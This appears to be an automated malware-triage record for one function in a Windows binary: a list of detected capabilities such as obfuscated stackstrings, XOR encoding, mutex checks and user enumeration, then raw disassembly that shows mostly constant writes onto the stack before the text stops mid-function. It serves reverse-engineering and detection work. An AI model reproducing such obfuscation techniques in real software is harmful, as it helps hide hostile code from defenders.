Function at 0x140001000
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get file version info
Get session user name
Parse pe header
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x24a20
call fcn.1401886d0
sub rsp, rax
movabs rax, 0x724da56dfecd25
mov qword [rsp + 0xa020], rax
movabs rax, 0x7db7f6f6d07f71
mov qword [rsp + 0xa028], rax
mov byte [rsp + 0x70], 0xe9
mov eax, 0x737
mov word [rsp + 0xc08], ax
movabs rax, 0x743ecc98bc9599
mov qword [rsp + 0xa030], rax
mov dword [rsp + 0x50f0], 0x737b
mov dword [rsp + 0x50f4], 0x31f1
movabs rax, 0x7100b011c54eab
mov qword [rsp + 0xa038], rax
mov eax, 0x2c4
mov word [rsp + 0xc0c], ax
mov dword [rsp + 0x50f8], 0x1339
mov eax, 0x9a8
mov word [rsp + 0xc10], ax
movabs rax, 0x78f83d6bc4df79
mov qword [rsp + 0xa040], rax
mov byte [rsp + 0x71], 0x76
movabs rax, 0x720eb6ece611da
mov qword [rsp + 0xa048], rax
mov dword [rsp + 0x50fc], 0xc10c
mov dword [rsp + 0x5100], 0xda8d
movabs rax, 0x7a5f54fafec6c0
mov qword [rsp + 0xa050], rax
mov byte [rsp + 0x72], 0xc5
mov byte [rsp + 0x73], 0x56
movabs rax, 0x758eba22185284
mov qword [rsp + 0xa058], rax
mov eax, 0x5a6
mov word [rsp + 0xc14], ax
movabs rax, 0x70fa6554223354
mov qword [rsp + 0xa060], rax
mov dword [rsp + 0x5104], 0x16f4
movabs rax, 0x77847c77b4bba1
mov qword [rsp + 0xa068], rax
mov dword [rsp + 0x5108], 0x2af
movabs rax, 0x7713688473e13c
mov qword [rsp + 0xa070], rax
movabs rax, 0x77387fa765f67e
mov qword [rsp + 0xa078], rax
movabs rax, 0x767d312ebdb3a7
mov qword [rsp + 0xa080], rax
mov byte [rsp + 0x74], 0x15
mov byte [rsp + 0x75], 0x6a
movabs rax, 0x7708f0f5e8398f
mov qword [rsp + 0xa088], rax
mov dword [rsp + 0x510c], 0x7635
mov dword [rsp + 0x5110], 0xa529
movabs rax, 0x787a2522d807cb
mov qword [rsp + 0xa090], rax
mov eax, 0x4c1
mov word [rsp + 0xc18], ax
mov eax, 0x344
mov word [rsp + 0xc1c], ax
movabs rax, 0x73e245a83b7664
mov qword [rsp + 0xa098], rax
mov dword [rsp + 0x5114], 0x4d6d
movabs rax, 0x7e16d6afb7ed10
mov qword [rsp + 0xa0a0], rax
mov eax, 0x90
mov word [rsp + 0xc20], ax
mov byte [rsp + 0x76], 0x12
movabs rax, 0x7ce1e605a82d07
mov qword [rsp + 0xa0a8], rax
movabs rax, 0x733b93cda89303
mov qword [rsp + 0xa0b0], rax
mov dword [rsp + 0x5118], 0x5244
movabs rax, 0x7cfa46cce9948a
mov qword [rsp + 0xa0b8], rax
movabs rax, 0x7d860e07d0dd03
mov qword [rsp + 0xa0c0], rax
mov eax, 0x3c
mov word [rsp + 0xc24], ax
movabs rax, 0x7cd535035809ee
mov qword [rsp + 0xa0c8], rax
mov dword [rsp + 0x511c], 0x396f
mov byte [rsp + 0x77], 0x2b
movabs rax, 0x7d16f87304ab50
mov qword [rsp + 0xa0d0], rax
movabs rax, 0x76c48ac42e8175
mov qword [rsp + 0xa0d8], rax
mov byte [rsp + 0x78], 0x19
mov dword [rsp + 0x5120], 0x37f
mov eax, 0xc6
mov word [rsp + 0xc28], ax
mov byte [rsp + 0x79], 0xb6
mov eax, 0xb99
mov word [rsp + 0xc2c], ax
mov eax, 0xa9
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x5124], 0x3ebf
movabs rax, 0x7a8a28d40062f4
mov qword [rsp + 0xa0e0], rax
mov dword [rsp + 0x5128], 0x6b67
mov byte [rsp + 0x7a], 0xa9
mov byte [rsp + 0x7b], 0xd
mov eax, 0x7fa
mov word [rsp + 0xc34], ax
mov byte [rsp + 0x7c], 0x92
movabs rax, 0x787815a85c64b9
mov qword [rsp + 0xa0e8], rax
movabs rax, 0x7ccdcc7120c355
mov qword [rsp + 0xa0f0], rax
mov eax, 0x574
mov word [rsp + 0xc38], ax
mov byte [rsp + 0x7d], 0xde
mov byte [rsp + 0x7e], 0x2f
movabs rax, 0x7399efcbbf10e6
mov qword [rsp + 0xa0f8], rax
movabs rax, 0x7abdd33a34d2b2
mov qword [rsp + 0xa100], rax
mov dword [rsp + 0x512c], 0x77b
mov eax, 0x1b0
mov word [rsp + 0xc3c], ax
movabs rax, 0x74c980ba90be22
mov qword [rsp + 0xa108], rax
mov eax, 0x54a
mov word [rsp + 0xc40], ax
mov byte [rsp + 0x7f], 0x17
mov dword [rsp + 0x5130], 0x4f32
mov eax, 0xfab
mov word [rsp + 0xc44], ax
movabs rax, 0x78eaac0a5c7a81
mov qword [rsp + 0xa110], rax
mov dword [rsp + 0x5134], 0xc225
mov dword [rsp + 0x5138], 0x462f
mov byte [rsp + 0x80], 0x53
mov byte [rsp + 0x81], 0x78
mov eax, 0x654
mov word [rsp + 0xc48], ax
movabs rax, 0x7d0981b90a2dfd
mov qword [rsp + 0xa118], rax
mov byte [rsp + 0x82], 0x50
movabs rax, 0x7e305897519cf4
mov qword [rsp + 0xa120], rax
mov eax, 0xfdc
mov word [rsp + 0xc4c], ax
movabs rax, 0x789cf4ab05e9a2
mov qword [rsp + 0xa128], rax
movabs rax, 0x71a55d8f84acc3
mov qword [rsp + 0xa130], rax
mov dword [rsp + 0x513c], 0x6e4d
mov byte [rsp + 0x83], 0xe
mov byte [rsp + 0x84], 0x8c
mov dword [rsp + 0x5140], 0x982f
mov eax, 0x30b
mov word [rsp + 0xc50], ax
mov dword [rsp + 0x5144], 0x13d9
mov dword [rsp + 0x5148], 0x2a45
mov dword [rsp + 0x514c], 0xe0df
mov byte [rsp + 0x85], 0x79
mov eax, 0x340
mov word [rsp + 0xc54], ax
mov byte [rsp + 0x86], 0x71
mov dword [rsp + 0x5150], 0xb7a1
mov eax, 0x37b
mov word [rsp + 0xc58], ax
movabs rax, 0x72d321798c01a1
mov qword [rsp + 0xa138], rax
movabs rax, 0x788d1556d09ba7
mov qword [rsp + 0xa140], rax
mov byte [rsp + 0x87], 0x50
movabs rax, 0x74cec02aa391e1
mov qword [rsp + 0xa148], rax
mov dword [rsp + 0x5154], 0x731f
mov dword [rsp + 0x5158], 0x14bb
mov byte [rsp + 0x88], 0x66
mov dword [rsp + 0x515c], 0xa544
mov dword [rsp + 0x5160], 0x5405
mov byte [rsp + 0x89], 0xd9
movabs rax, 0x7e54128962ff33
mov qword [rsp + 0xa150], rax
movabs rax, 0x7048749749ac4b
mov qword [rsp + 0xa158], rax
mov dword [rsp + 0x5164], 0xe4eb
mov dword [rsp + 0x5168], 0xd45d
movabs rax, 0x77c2ff5dd90750
mov qword [rsp + 0xa160], rax
mov dword [rsp + 0x516c], 0x77c8
mov byte [rsp + 0x8a], 0x3c
movabs rax, 0x74b06f4b666713
mov qword [rsp + 0xa168], rax
mov byte [rsp + 0x8b], 0x2e
mov eax, 0x520
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x5170], 0xd24b
mov dword [rsp + 0x5174], 0xa7e
mov dword [rsp + 0x5178], 0x500a
movabs rax, 0x747215b2d944a1
mov qword [rsp + 0xa170], rax
mov eax, 0x26d
mov word [rsp + 0xc60], ax
movabs rax, 0x799c715fd25a91
mov qword [rsp + 0xa178], rax
mov eax, 0xec4
mov word [rsp + 0xc64], ax
mov byte [rsp + 0x8c], 0x95
mov eax, 0x6b
mov word [rsp + 0xc68], ax
mov eax, 0x47c
mov word [rsp + 0xc6c], ax
movabs rax, 0x70d6da5329a53b
mov qword [rsp + 0xa180], rax
mov byte [rsp + 0x8d], 0x66
movabs rax, 0x7d55c3b4abeede
mov qword [rsp + 0xa188], rax
movabs rax, 0x733c287cb755c5
mov qword [rsp + 0xa190], rax
mov dword [rsp + 0x517c], 0x9e6
mov eax, 0xfab
mov word [rsp + 0xc70], ax
mov eax, 0x55c
mov word [rsp + 0xc74], ax
movabs rax, 0x7087511f13502e
mov qword [rsp + 0xa198], rax
mov dword [rsp + 0x5180], 0x1d83
mov eax, 0x52e
mov word [rsp + 0xc78], ax
mov dword [rsp + 0x5184], 0x2f62
mov byte [rsp + 0x8e], 0x85
movabs rax, 0x7bb7fc8453516c
mov qword [rsp + 0xa1a0], rax
mov dword [rsp + 0x5188], 0x2576
movabs rax, 0x7a74e27ab97ce0
mov qword [rsp + 0xa1a8], rax
movabs rax, 0x7cf5a4dd08b7e7
mov qword [rsp + 0xa1b0], rax
mov byte [rsp + 0x8f], 0xa8
mov eax, 0x6ab
mov word [rsp + 0xc7c], ax
mov eax, 0x15c
mov word [rsp + 0xc80], ax
mov eax, 0x292
mov word [rsp + 0xc84], ax
movabs rax, 0x78f1bc7129cb2a
mov qword [rsp + 0xa1b8], rax
mov dword [rsp + 0x518c], 0x7d72
movabs rax, 0x76b94cb285a395
mov qword [rsp + 0xa1c0], rax
movabs rax, 0x7d8466cb724a06
mov qword [rsp + 0xa1c8], rax
mov eax, 0xb7c
mov word [rsp + 0xc88], ax
movabs rax, 0x7c466a6322767f
mov qword [rsp + 0xa1d0], rax
mov byte [rsp + 0x90], 0x35
mov eax, 0x748
mov word [rsp + 0xc8c], ax
mov eax, 0x4cb
mov word [rsp + 0xc90], ax
mov byte [rsp + 0x91], 0x5c
mov eax, 0x329
mov word [rsp + 0xc94], ax
mov dword [rsp + 0x5190], 0x1c9e
movabs rax, 0x7aa2372c1f9a9f
mov qword [rsp + 0xa1d8], rax
mov byte [rsp + 0x92], 0xe
mov dword [rsp + 0x5194], 0x6e09
movabs rax, 0x799836e5cc1e8e
mov qword [rsp + 0xa1e0], rax
movabs rax, 0x7c585c4192142a
mov qword [rsp + 0xa1e8], rax
mov byte [rsp + 0x93], 0x12
mov dword [rsp + 0x5198], 0x6e82
mov dword [rsp + 0x519c], 0xd656
mov eax, 0x110
mov word [rsp + 0xc98], ax
mov dword [rsp + 0x51a0], 0xe04e
movabs rax, 0x73cde1c45ab4e9
mov qword [rsp + 0xa1f0], rax
mov eax, 0x3a8
mov word [rsp + 0xc9c], ax
mov byte [rsp + 0x94], 0xa7
mov eax, 0x14b
mov word [rsp + 0xca0], ax
mov byte [rsp + 0x95], 8
mov byte [rsp + 0x96], 0xc2
mov eax, 0xc5f
mov word [rsp + 0xca4], ax
movabs rax, 0x7c05148a088f0d
mov qword [rsp + 0xa1f8], rax
mov eax, 0x546
mov word [rsp + 0xca8], ax
mov byte [rsp + 0x97], 0xaa
mov dword [rsp + 0x51a4], 0x6fcd
mov dword [rsp + 0x51a8], 0x741c
movabs rax, 0x7645086e0efb0e
mov qword [rsp + 0xa200], rax
mov dword [rsp + 0x51ac], 0x34cb
mov dword [rsp + 0x51b0], 0xaa16
mov eax, 0x499
mov word [rsp + 0xcac], ax
mov eax, 0x166
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0x98], 0x68
mov eax, 0x138
mov word [rsp + 0xcb4], ax
mov eax, 0x6a0
mov word [rsp + 0xcb8], ax
movabs rax, 0x790229302f7bee
mov qword [rsp + 0xa208], rax
mov eax, 0x2e5
mov word [rsp + 0xcbc], ax
movabs rax, 0x721916351dc373
mov qword [rsp + 0xa210], rax
mov byte [rsp + 0x99], 0x60
mov byte [rsp + 0x9a], 0x57
movabs rax, 0x7c7be5b4c34ec0
mov qword [rsp + 0xa218], rax
movabs rax, 0x75ad8832e4d761
mov qword [rsp + 0xa220], rax
mov byte [rsp + 0x9b], 0x46
mov dword [rsp + 0x51b4], 0x4fe1
mov byte [rsp + 0x9c], 0xb9
movabs rax, 0x71081a00f53238
mov qword [rsp + 0xa228], rax
mov eax, 0xaf0
mov word [rsp + 0xcc0], ax
mov dword [rsp + 0x51b8], 0x7306
movabs rax, 0x7dd3eb18da765d
mov qword [rsp + 0xa230], rax
movabs rax, 0x7752cc3b0b8e43
mov qword [rsp + 0xa238], rax
mov byte [rsp + 0x9d], 0x2e
mov eax, 0x5c1
mov word [rsp + 0xcc4], ax
mov eax, 0x466
mov word [rsp + 0xcc8], ax
mov byte [rsp + 0x9e], 5
movabs rax, 0x7c1266eba31500
mov qword [rsp + 0xa240], rax
mov dword [rsp + 0x51bc], 0x2d34
mov byte [rsp + 0x9f], 4
mov eax, 0x7b8
mov word [rsp + 0xccc], ax
movabs rax, 0x7de32ad01615d5
mov qword [rsp + 0xa248], rax
movabs rax, 0x712fa49377581b
mov qword [rsp + 0xa250], rax
movabs rax, 0x7bb97f166e8174
mov qword [rsp + 0xa258], rax
mov byte [rsp + 0xa0], 0x23
movabs rax, 0x734137103e340a
mov qword [rsp + 0xa260], rax
mov dword [rsp + 0x51c0], 0x46
mov byte [rsp + 0xa1], 0x5d
mov byte [rsp + 0xa2], 0x42
movabs rax, 0x77d45913bc095d
mov qword [rsp + 0xa268], rax
mov byte [rsp + 0xa3], 0xda
movabs rax, 0x79c69b5c6c54c2
mov qword [rsp + 0xa270], rax
mov dword [rsp + 0x51c4], 0x2fd9
mov eax, 0x355
mov word [rsp + 0xcd0], ax
mov eax, 0x10a
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x51c8], 0xb1a4
movabs rax, 0x76187b2a268489
mov qword [rsp + 0xa278], rax
movabs rax, 0x7b3836e519f061
mov qword [rsp + 0xa280], rax
mov dword [rsp + 0x51cc], 0x6e9f
movabs rax, 0x786bde63081ba1
mov qword [rsp + 0xa288], rax
mov eax, 0xfd6
mov word [rsp + 0xcd8], ax
mov byte [rsp + 0xa4], 0xa6
mov eax, 0x52d
mov word [rsp + 0xcdc], ax
movabs rax, 0x7499bcf3c64e01
mov qword [rsp + 0xa290], rax
mov dword [rsp + 0x51d0], 0x2962
mov eax, 0x745
mov word [rsp + 0xce0], ax
movabs rax, 0x795286e1811a0d
mov qword [rsp + 0xa298], rax
mov eax, 0x717
mov word [rsp + 0xce4], ax
mov eax, 0x14b
mov word [rsp + 0xce8], ax
mov dword [rsp + 0x51d4], 0x1f1f
movabs rax, 0x705f4d760afc15
mov qword [rsp + 0xa2a0], rax
mov eax, 0xbc1
mov word [rsp + 0xcec], ax
mov eax, 0xc4
mov word [rsp + 0xcf0], ax
movabs rax, 0x7da29519e09306
mov qword [rsp + 0xa2a8], rax
mov dword [rsp + 0x51d8], 0xb92
movabs rax, 0x7ce194f88d085c
mov qword [rsp + 0xa2b0], rax
mov byte [rsp + 0xa5], 0x82
mov eax, 0x782
mov word [rsp + 0xcf4], ax
mov dword [rsp + 0x51dc], 0x6347
mov byte [rsp + 0xa6], 0x19
mov dword [rsp + 0x51e0], 0x7ff2
mov dword [rsp + 0x51e4], 0x1a84
mov eax, 0xc35
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0xa7], 0x52
mov byte [rsp + 0xa8], 0xb4
mov dword [rsp + 0x51e8], 0x1db9
mov byte [rsp + 0xa9], 0xc9
movabs rax, 0x7a7dc8a0f25a53
mov qword [rsp + 0xa2b8], rax
movabs rax, 0x7b92a797e1fbc0
mov qword [rsp + 0xa2c0], rax
mov eax, 0x1ce
mov word [rsp + 0xcfc], ax
mov eax, 0x78d
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x51ec], 0xe800
mov dword [rsp + 0x51f0], 0xa08c
movabs rax, 0x7dfb5bf2587ae7
mov qword [rsp + 0xa2c8], rax
mov dword [rsp + 0x51f4], 0x2b54
mov dword [rsp + 0x51f8], 0x4b09
movabs rax, 0x7a250e0a48e264
mov qword [rsp + 0xa2d0], rax
mov dword [rsp + 0x51fc], 0x6ce1
mov eax, 0x5fa
mov word [rsp + 0xd04], ax
movabs rax, 0x741e05b619890e
mov qword [rsp + 0xa2d8], rax
mov dword [rsp + 0x5200], 0x79e6
mov eax, 0x2b
mov word [rsp + 0xd08], ax
mov eax, 0x5c8
mov word [rsp + 0xd0c], ax
movabs rax, 0x7253476cd67f07
mov qword [rsp + 0xa2e0], rax
mov eax, 0x480
mov word [rsp + 0xd10], ax
movabs rax, 0x73a44e8cdca5ff
mov qword [rsp + 0xa2e8], rax
mov eax, 0x96
mov word [rsp + 0xd14], ax
movabs rax, 0x7343ce265e2952
mov qword [rsp + 0xa2f0], rax
movabs rax, 0x7e44a8b1abc2dc
mov qword [rsp + 0xa2f8], rax
mov eax, 0x6b1
mov word [rsp + 0xd18], ax
mov eax, 0x7b4
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x5204], 0x45a5
movabs rax, 0x776269e83b64b4
mov qword [rsp + 0xa300], rax
movabs rax, 0x71d5532338b411
mov qword [rsp + 0xa308], rax
mov dword [rsp + 0x5208], 0xb1
mov eax, 0x7b2
mov word [rsp + 0xd20], ax
mov byte [rsp + 0xaa], 8
mov eax, 0x442
mov word [rsp + 0xd24], ax
mov dword [rsp + 0x520c], 0x163e
movabs rax, 0x7ac3d4ce5643d7
mov qword [rsp + 0xa310], rax
mov byte [rsp + 0xab], 0x4c
mov eax, 0x6fe
mov word [rsp + 0xd28], ax
mov dword [rsp + 0x5210], 0x4a79
mov byte [rsp + 0xac], 0x40
mov byte [rsp + 0xad], 0x7b
mov byte [rsp + 0xae], 0xd8
movabs rax, 0x7080ca500fc14a
mov qword [rsp + 0xa318], rax
movabs rax, 0x7b071b2b50f7ef
mov qword [rsp + 0xa320], rax
movabs rax, 0x7e1a06cc9d4d96
mov qword [rsp + 0xa328], rax
mov dword [rsp + 0x5214], 0xa829
mov byte [rsp + 0xaf], 0x2b
mov eax, 0x268
mov word [rsp + 0xd2c], ax
mov eax, 0x269
mov word [rsp + 0xd30], ax
mov eax, 0x3b4
mov word [rsp + 0xd34], ax
movabs rax, 0x7172725b5fd841
mov qword [rsp + 0xa330], rax
mov dword [rsp + 0x5218], 0xb285
movabs rax, 0x74f5b2d5fa3195
mov qword [rsp + 0xa338], rax
mov eax, 0xe70
mov word [rsp + 0xd38], ax
movabs rax, 0x7a43bde1a8170a
mov qword [rsp + 0xa340], rax
movabs rax, 0x7e7886ac56d14c
mov qword [rsp + 0xa348], rax
movabs rax, 0x760e6ef34d2279
mov qword [rsp + 0xa350], rax
movabs rax, 0x7eda18debd4861
mov qword [rsp + 0xa358], rax
mov eax, 0x5f3
mov word [rsp + 0xd3c], ax
movabs rax, 0x750f323d0895db
mov qword [rsp + 0xa360], rax
mov dword [rsp + 0x521c], 0x976e
mov dword [rsp + 0x5220], 0x9c8b
mov dword [rsp + 0x5224], 0x6d40
mov byte [rsp + 0xb0], 0x31
mov eax, 0x3ea
mov word [rsp + 0xd40], ax
mov byte [rsp + 0xb1], 0x94
mov dword [rsp + 0x5228], 0xce81
mov eax, 0x5a
mov word [rsp + 0xd44], ax
movabs rax, 0x726e90d3bb7197
mov qword [rsp + 0xa368], rax
mov eax, 0x241
mov word [rsp + 0xd48], ax
mov eax, 0x87f
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x522c], 0x4f69
movabs rax, 0x7a3932164fc49e
mov qword [rsp + 0xa370], rax
mov dword [rsp + 0x5230], 0xeb0
mov eax, 0xa4a
mov word [rsp + 0xd50], ax
mov eax, 0x353
mov word [rsp + 0xd54], ax
mov dword [rsp + 0x5234], 0x94ba
movabs rax, 0x721d0c89e68241
mov qword [rsp + 0xa378], rax
mov eax, 0x2b7
mov word [rsp + 0xd58], ax
movabs rax, 0x7bf9f62c2d300f
mov qword [rsp + 0xa380], rax
movabs rax, 0x706ea70304626f
mov qword [rsp + 0xa388], rax
mov dword [rsp + 0x5238], 0x713e
movabs rax, 0x79dd47741097fb
mov qword [rsp + 0xa390], rax
mov eax, 0xf11
mov word [rsp + 0xd5c], ax
movabs rax, 0x7702e5d08982d6
mov qword [rsp + 0xa398], rax
mov eax, 0x5f6
mov word [rsp + 0xd60], ax
mov byte [rsp + 0xb2], 0x74
mov dword [rsp + 0x523c], 0x70bb
mov dword [rsp + 0x5240], 0xf8b5
movabs rax, 0x765f10ba144006
mov qword [rsp + 0xa3a0], rax
movabs rax, 0x77d455be083601
mov qword [rsp + 0xa3a8], rax
mov eax, 0x111
mov word [rsp + 0xd64], ax
mov eax, 0x585
mov word [rsp + 0xd68], ax
mov dword [rsp + 0x5244], 0x9c02
mov eax, 0xd9b
mov word [rsp + 0xd6c], ax
mov dword [rsp + 0x5248], 0x1aca
mov byte [rsp + 0xb3], 0x77
mov dword [rsp + 0x524c], 0x2d45
mov byte [rsp + 0xb4], 0x6a
mov eax, 0xe21
mov word [rsp + 0xd70], ax
movabs rax, 0x705e7409a20be8
mov qword [rsp + 0xa3b0], rax
movabs rax, 0x768b64ab6e19d1
mov qword [rsp + 0xa3b8], rax
mov dword [rsp + 0x5250], 0x42b1
movabs rax, 0x7b1ca71855c3b7
mov qword [rsp + 0xa3c0], rax
mov dword [rsp + 0x5254], 0x31fd
mov eax, 0x171
mov word [rsp + 0xd74], ax
mov eax, 0xac8
mov word [rsp + 0xd78], ax
mov eax, 0x8bb
mov word [rsp + 0xd7c], ax
mov byte [rsp + 0xb5], 0x54
movabs rax, 0x74864047464707
mov qword [rsp + 0xa3c8], rax
movabs rax, 0x71d4967b42964b
mov qword [rsp + 0xa3d0], rax
movabs rax, 0x70328ad819e8f3
mov qword [rsp + 0xa3d8], rax
movabs rax, 0x7e8af2361ca997
mov qword [rsp + 0xa3e0], rax
mov eax, 0x542
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x5258], 0x6feb
movabs rax, 0x754ef8f050ca34
mov qword [rsp + 0xa3e8], rax
movabs rax, 0x783f442d285756
mov qword [rsp + 0xa3f0], rax
movabs rax, 0x7c5575db212b78
mov qword [rsp + 0xa3f8], rax
mov byte [rsp + 0xb6], 0x31
mov dword [rsp + 0x525c], 0x83c3
mov byte [rsp + 0xb7], 3
mov dword [rsp + 0x5260], 0x7d9e
movabs rax, 0x774daaa5bd793a
mov qword [rsp + 0xa400], rax
mov dword [rsp + 0x5264], 0x600b
movabs rax, 0x7b31584614dfce
mov qword [rsp + 0xa408], rax
movabs rax, 0x7e3888beeb9156
mov qword [rsp + 0xa410], rax
movabs rax, 0x73481aedded047
mov qword [rsp + 0xa418], rax
movabs rax, 0x71c12163c9116a
mov qword [rsp + 0xa420], rax
mov eax, 0x336
mov word [rsp + 0xd84], ax
mov eax, 0x139
mov word [rsp + 0xd88], ax
movabs rax, 0x7c5791e4f6a074
mov qword [rsp + 0xa428], rax
movabs rax, 0x7378bd4e0e9b35
mov qword [rsp + 0xa430], rax
mov byte [rsp + 0xb8], 8
mov byte [rsp + 0xb9], 0x71
mov dword [rsp + 0x5268], 0xf2f4
movabs rax, 0x7bd97ac1f610ed
mov qword [rsp + 0xa438], rax
mov dword [rsp + 0x526c], 0x5107
mov dword [rsp + 0x5270], 0x3ee6
mov dword [rsp + 0x5274], 0x16f1
mov byte [rsp + 0xba], 0x76
mov eax, 0xa6
mov word [rsp + 0xd8c], ax
mov dword [rsp + 0x5278], 0xc05e
mov eax, 0x2bb
mov word [rsp + 0xd90], ax
mov dword [rsp + 0x527c], 0x77b6
movabs rax, 0x719319eb310095
mov qword [rsp + 0xa440], rax
mov byte [rsp + 0xbb], 0x34
movabs rax, 0x70e92efe4759d8
mov qword [rsp + 0xa448], rax
mov dword [rsp + 0x5280], 0x1218
movabs rax, 0x7c0187b763e49a
mov qword [rsp + 0xa450], rax
mov byte [rsp + 0xbc], 0x6a
mov eax, 0xef
mov word [rsp + 0xd94], ax
mov byte [rsp + 0xbd], 0x13
mov dword [rsp + 0x5284], 0x6fc6
mov byte [rsp + 0xbe], 0xfc
mov dword [rsp + 0x5288], 0x1a56
movabs rax, 0x7054a0da0e4c9f
mov qword [rsp + 0xa458], rax
mov eax, 0x3e2
mov word [rsp + 0xd98], ax
mov byte [rsp + 0xbf], 0x31
mov eax, 0x9ed
mov word [rsp + 0xd9c], ax
movabs rax, 0x77fd03427d9d53
mov qword [rsp + 0xa460], rax
mov dword [rsp + 0x528c], 0x800e
movabs rax, 0x753de053666e2d
mov qword [rsp + 0xa468], rax
mov dword [rsp + 0x5290], 0x5ed2
mov dword [rsp + 0x5294], 0x2a6
movabs rax, 0x7619db9b3942c6
mov qword [rsp + 0xa470], rax
mov dword [rsp + 0x5298], 0x9671
movabs rax, 0x7d3d54d5e3ae33
mov qword [rsp + 0xa478], rax
mov eax, 0x141
mov word [rsp + 0xda0], ax
movabs rax, 0x7e63bd0c111b63
mov qword [rsp + 0xa480], rax
mov dword [rsp + 0x529c], 0x6dc4
movabs rax, 0x7dd02010847c3f
mov qword [rsp + 0xa488], rax
mov byte [rsp + 0xc0], 0x5c
mov dword [rsp + 0x52a0], 0x552d
movabs rax, 0x7a9479a5c50bea
mov qword [rsp + 0xa490], rax
movabs rax, 0x7a7bf90abc31bc
mov qword [rsp + 0xa498], rax
mov eax, 0x7c4
mov word [rsp + 0xda4], ax
mov byte [rsp + 0xc1], 0xe6
mov eax, 0x555
mov word [rsp + 0xda8], ax
movabs rax, 0x7180c72cd1ce6a
mov qword [rsp + 0xa4a0], rax
mov eax, 0x8a6
mov word [rsp + 0xdac], ax
mov byte [rsp + 0xc2], 0xbd
mov byte [rsp + 0xc3], 0x2b
mov eax, 0xdad
mov word [rsp + 0xdb0], ax
movabs rax, 0x7cd3cc37a00018
mov qword [rsp + 0xa4a8], rax
mov dword [rsp + 0x52a4], 0xd59
movabs rax, 0x7da4f63189be75
mov qword [rsp + 0xa4b0], rax
mov dword [rsp + 0x52a8], 0x2c5
mov eax, 0x749
mov word [rsp + 0xdb4], ax
mov eax, 0x2dc
mov word [rsp + 0xdb8], ax
mov eax, 0x1b8
mov word [rsp + 0xdbc], ax
movabs rax, 0x745c1767018c6a
mov qword [rsp + 0xa4b8], rax
movabs rax, 0x7dfc07d111ea12
mov qword [rsp + 0xa4c0], rax
movabs rax, 0x7525cfd8713d1f
mov qword [rsp + 0xa4c8], rax
movabs rax, 0x7cec39d36cce95
mov qword [rsp + 0xa4d0], rax
mov eax, 0xe8c
mov word [rsp + 0xdc0], ax
mov byte [rsp + 0xc4], 9
mov dword [rsp + 0x52ac], 0x392e
mov byte [rsp + 0xc5], 0x60
mov byte [rsp + 0xc6], 7
mov eax, 0x189
mov word [rsp + 0xdc4], ax
mov eax, 0x441
mov word [rsp + 0xdc8], ax
mov eax, 0x490
mov word [rsp + 0xdcc], ax
mov dword [rsp + 0x52b0], 0x1c4e
mov eax, 0x43b
mov word [rsp + 0xdd0], ax
mov eax, 0x9fb
mov word [rsp + 0xdd4], ax
movabs rax, 0x705a89391f5cf2
mov qword [rsp + 0xa4d8], rax
mov dword [rsp + 0x52b4], 0x3936
mov dword [rsp + 0x52b8], 0x987c
movabs rax, 0x701c7afeb1851e
mov qword [rsp + 0xa4e0], rax
movabs rax, 0x7dd86b47e4257f
mov qword [rsp + 0xa4e8], rax
mov eax, 0x26e
mov word [rsp + 0xdd8], ax
mov eax, 0x25e
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x52bc], 0x937
movabs rax, 0x7272961007238c
mov qword [rsp + 0xa4f0], rax
mov byte [rsp + 0xc7], 0xd2
movabs rax, 0x704e1984a72e08
mov qword [rsp + 0xa4f8], rax
movabs rax, 0x7ce6f03832cba3
mov qword [rsp + 0xa500], rax
movabs rax, 0x79a4dce44f08fc
mov qword [rsp + 0xa508], rax
mov dword [rsp + 0x52c0], 0x6d2c
mov byte [rsp + 0xc8], 0x15
mov byte [rsp + 0xc9], 0xdd
mov dword [rsp + 0x52c4], 0x6913
movabs rax, 0x76e6937d6f4116
mov qword [rsp + 0xa510], rax
mov eax, 0x4fa
mov word [rsp + 0xde0], ax
mov dword [rsp + 0x52c8], 0xf13
mov eax, 0x625
mov word [rsp + 0xde4], ax
movabs rax, 0x7366ccf00eae31
mov qword [rsp + 0xa518], rax
mov eax, 0x71f
mov word [rsp + 0xde8], ax
mov byte [rsp + 0xca], 0x91
mov eax, 0x28c
mov word [rsp + 0xdec], ax
movabs rax, 0x7267f11af2177f
mov qword [rsp + 0xa520], rax
mov eax, 0x978
mov word [rsp + 0xdf0], ax
mov byte [rsp + 0xcb], 0x6e
mov byte [rsp + 0xcc], 0
mov dword [rsp + 0x52cc], 0x3814
mov eax, 0xa5
mov word [rsp + 0xdf4], ax
mov dword [rsp + 0x52d0], 0x14eb
movabs rax, 0x7d0962c58ca8b8
mov qword [rsp + 0xa528], rax
mov dword [rsp + 0x52d4], 0x136c
movabs rax, 0x73e1e9b5177794
mov qword [rsp + 0xa530], rax
mov dword [rsp + 0x52d8], 0x74a4
movabs rax, 0x75611826d40f6b
mov qword [rsp + 0xa538], rax
mov byte [rsp + 0xcd], 0xc
mov dword [rsp + 0x52dc], 0x527c
mov byte [rsp + 0xce], 0x25
movabs rax, 0x73a07f3cdea245
mov qword [rsp + 0xa540], rax
movabs rax, 0x755b3a52b2d3fb
mov qword [rsp + 0xa548], rax
mov dword [rsp + 0x52e0], 0x31dd
movabs rax, 0x7b9e70034bf74d
mov qword [rsp + 0xa550], rax
mov dword [rsp + 0x52e4], 0x6c57
mov dword [rsp + 0x52e8], 0x23e6
mov eax, 0x6aa
mov word [rsp + 0xdf8], ax
mov byte [rsp + 0xcf], 9
mov byte [rsp + 0xd0], 0x5a
mov byte [rsp + 0xd1], 0x3a
movabs rax, 0x74ce8c2ddc1a91
mov qword [rsp + 0xa558], rax
mov eax, 0x26d
mov word [rsp + 0xdfc], ax
mov byte [rsp + 0xd2], 0xd3
mov byte [rsp + 0xd3], 0x76
movabs rax, 0x7bf311ddb2c3b2
